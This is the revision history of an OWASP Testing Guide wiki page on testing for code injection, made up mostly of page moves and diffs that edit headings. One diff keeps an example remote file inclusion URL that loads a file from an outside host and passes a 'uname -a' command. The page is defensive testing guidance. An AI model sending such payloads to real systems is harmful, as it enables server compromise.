Testing for Code Injection (OTG-INPVAL-012) - Revision history

Andrew Muller: Andrew Muller moved page Testing for Code Injection (OTG-INPVAL-013) to Testing for Code Injection (OTG-INPVAL-012)

2014-08-08T12:04:17Z

Andrew Muller moved page Testing for Code Injection (OTG-INPVAL-013) to Testing for Code Injection (OTG-INPVAL-012)

Andrew Muller at 16:20, 31 July 2014

2014-07-31T16:20:39Z

Andrew Muller: Andrew Muller moved page Testing for Code Injection (OWASP-DV-012) to Testing for Code Injection (OTG-INPVAL-013): Align with Common Numbering

2014-07-31T14:37:07Z

Andrew Muller moved page Testing for Code Injection (OWASP-DV-012) to Testing for Code Injection (OTG-INPVAL-013): Align with Common Numbering

Jane O'Connor: Final edit

2014-05-19T10:18:48Z

Final edit

Mmeucci at 14:52, 9 October 2012

2012-10-09T14:52:43Z

KirstenS at 10:39, 29 December 2008

2008-12-29T10:39:05Z

KirstenS: Testing for Code Injection moved to Testing for Code Injection (OWASP-DV-012)

2008-12-15T21:52:46Z

Testing for Code Injection moved to Testing for Code Injection (OWASP-DV-012)

Mmeucci at 13:56, 2 November 2008

2008-11-02T13:56:43Z

KirstenS: /* References */

2008-08-30T21:19:12Z

‎References

KirstenS: /* Black Box testing and example */

2008-08-30T21:17:54Z

‎Black Box testing and example

@@ Line 1: / Line 1: @@
 {{Template:OWASP Testing Guide v4}}
-== Brief Summary ==
+== Summary ==
-This section describes how a tester can check if it is possible to enter code as input on a web page and have it executed by the web server. More information about Code Injection can be found [[Code Injection|here]].
+This section describes how a tester can check if it is possible to enter code as input on a web page and have it executed by the web server.
-In code injection testing, a tester submits input that is processed by the web server as dynamic code or as an included file.  These tests can target various server-side scripting engines, e.g.., ASP or PHP. Proper input validation and secure coding practices need to be employed to protect against these attacks.
+In [[Code Injection]] testing, a tester submits input that is processed by the web server as dynamic code or as an included file.  These tests can target various server-side scripting engines, e.g.., ASP or PHP. Proper input validation and secure coding practices need to be employed to protect against these attacks.
-== Black Box testing and example ==
+=== Black Box testing ===
-'''Testing for PHP Injection vulnerabilities:'''
+====Testing for PHP Injection vulnerabilities====
 Using the querystring, the tester can inject code (in this example, a malicious URL) to be processed as part of the included file:
@@ Line 25: / Line 24: @@
-== Gray Box testing and example ==
+=== Gray Box testing ===
-'''Testing for ASP Code Injection vulnerabilities
+====Testing for ASP Code Injection vulnerabilities====
 Examine ASP code for user input used in execution functions. Can the user enter commands into the Data input field?  Here, the ASP code will save the input to a file and then execute it:

@@ Line 4: / Line 4: @@
 This section describes how a tester can check if it is possible to enter code as input on a web page and have it executed by the web server. More information about Code Injection can be found [[Code Injection|here]].
 == Description of the Issue ==
 In code injection testing, a tester submits input that is processed by the web server as dynamic code or as an included file.  These tests can target various server-side scripting engines, e.g.., ASP or PHP. Proper input validation and secure coding practices need to be employed to protect against these attacks.
 == Black Box testing and example ==
@@ Line 21: / Line 23: @@
 The malicious URL is accepted as a parameter for the PHP page, which will later use the value in an included file.
 == Gray Box testing and example ==
@@ Line 50: / Line 53: @@
   End If
   %>)))
 == References ==

← Older revision		Revision as of 14:52, 9 October 2012
Line 1:		Line 1:
−	{{Template:OWASP Testing Guide v3}}	+	{{Template:OWASP Testing Guide v4}}

	== Brief Summary ==		== Brief Summary ==

← Older revision		Revision as of 10:39, 29 December 2008
Line 4:		Line 4:

	This section describes how a tester can check if it is possible to enter code as input on a web page and have it executed by the web server. More information about Code Injection can be found [[Code Injection\|here]].		This section describes how a tester can check if it is possible to enter code as input on a web page and have it executed by the web server. More information about Code Injection can be found [[Code Injection\|here]].
−	~~[[Category:FIXME\|I would like to delete the last sentence, and replace it with a sentence describing Code Injection, with the words Code Injection linked]]~~

	== Description of the Issue ==		== Description of the Issue ==

@@ Line 1: / Line 1: @@
-[[http://www.owasp.org/index.php/Web_Application_Penetration_Testing_AoC Up]]<br>
+{{Template:OWASP Testing Guide v3}}
 == Brief Summary ==
@@ Line 63: / Line 62: @@
 * Reviewing Code for [[OS Injection]]
 <br>

← Older revision	Revision as of 12:04, 8 August 2014
(No difference)

← Older revision	Revision as of 14:37, 31 July 2014
(No difference)

← Older revision	Revision as of 21:52, 15 December 2008
(No difference)

@@ Line 61: / Line 61: @@
 * Wikipedia - http://www.wikipedia.org
-* OWASP Code Review - http://www.owasp.org/index.php/OS_Injection
+* Reviewing Code for [[OS Injection]]
 <br>
 {{Category:OWASP Testing Project AoC}}

@@ Line 15: / Line 15: @@
 '''Testing for PHP Injection vulnerabilities:'''
-Using the querystring, the tester can inject code (in this example, a malicious url) to be processed as part of the included file:
+Using the querystring, the tester can inject code (in this example, a malicious URL) to be processed as part of the included file:
   <nowiki>http://www.example.com/uptime.php?pin=http://www.example2.com/packx1/cs.jpg?&cmd=uname%20-a</nowiki>